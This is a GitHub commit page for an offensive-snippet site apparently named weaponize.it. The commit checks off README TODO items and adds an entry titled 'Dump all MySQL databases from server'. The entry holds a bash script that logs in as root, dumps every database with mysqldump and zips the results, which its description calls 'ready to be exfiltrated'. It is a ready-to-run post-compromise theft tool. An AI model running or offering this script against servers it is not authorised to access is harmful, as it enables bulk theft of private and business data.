Skip to content

Commit

Permalink
added entry
Browse files Browse the repository at this point in the history
  • Loading branch information
Nicholas Ferreira committed Nov 5, 2023
1 parent e35595e commit 2ebc7d0
Show file tree
Hide file tree
Showing 2 changed files with 29 additions and 2 deletions.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -56,7 +56,7 @@ Website will be available at 127.0.0.1:8000.
## TODO:
- [x] Add tags functionality
- [x] Add "about" section
- [ ] Add functionality to "tags" menu item
- [x] Add functionality to "tags" menu item
- [ ] ~~Make weaponize.it CLI-friendly~~
- [x] Figure out a way to receive contributions
- [x] Add a "source" section for each post
Expand All @@ -65,5 +65,5 @@ Website will be available at 127.0.0.1:8000.
- [ ] Migrate completely to aws s3 (go serverless)
- [x] Automatize pull and commit of generated json
- [x] Fix the timestamps of uploaded toml files
- [ ] Find a way to track tags better
- [x] Find a way to track tags better
- [ ] Make a "preview post" for .toml files
27 changes: 27 additions & 0 deletions entries/dump_mysql_databases.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
title = "Dump all MySQL databases from server"
description = ""
tags = ["MySQL", "web"]
source = [""]

[[data]]
description = "Change user and password and run it. Databases will be zipped to dumps.zip, ready to be exfiltrated."
language = "bash"
command = """#!/bin/bash
USER="root"
PASS="password"
databases=`mysql -u $USER -p$PASS -e "SHOW DATABASES;" | tr -d "| " | grep -v Database`
path=$(mktemp -d)
for db in $databases; do
echo "Dumping db: $db"
mysqldump -u $USER -p$PASS --databases $db > ${path}/`date +%Y%m%d`"_$db.sql"
done
zip -r dumps.zip ${path}/*.sql
rm -fr $path
echo 'Saved dumps at dumps.zip'"""

0 comments on commit 2ebc7d0

Please sign in to comment.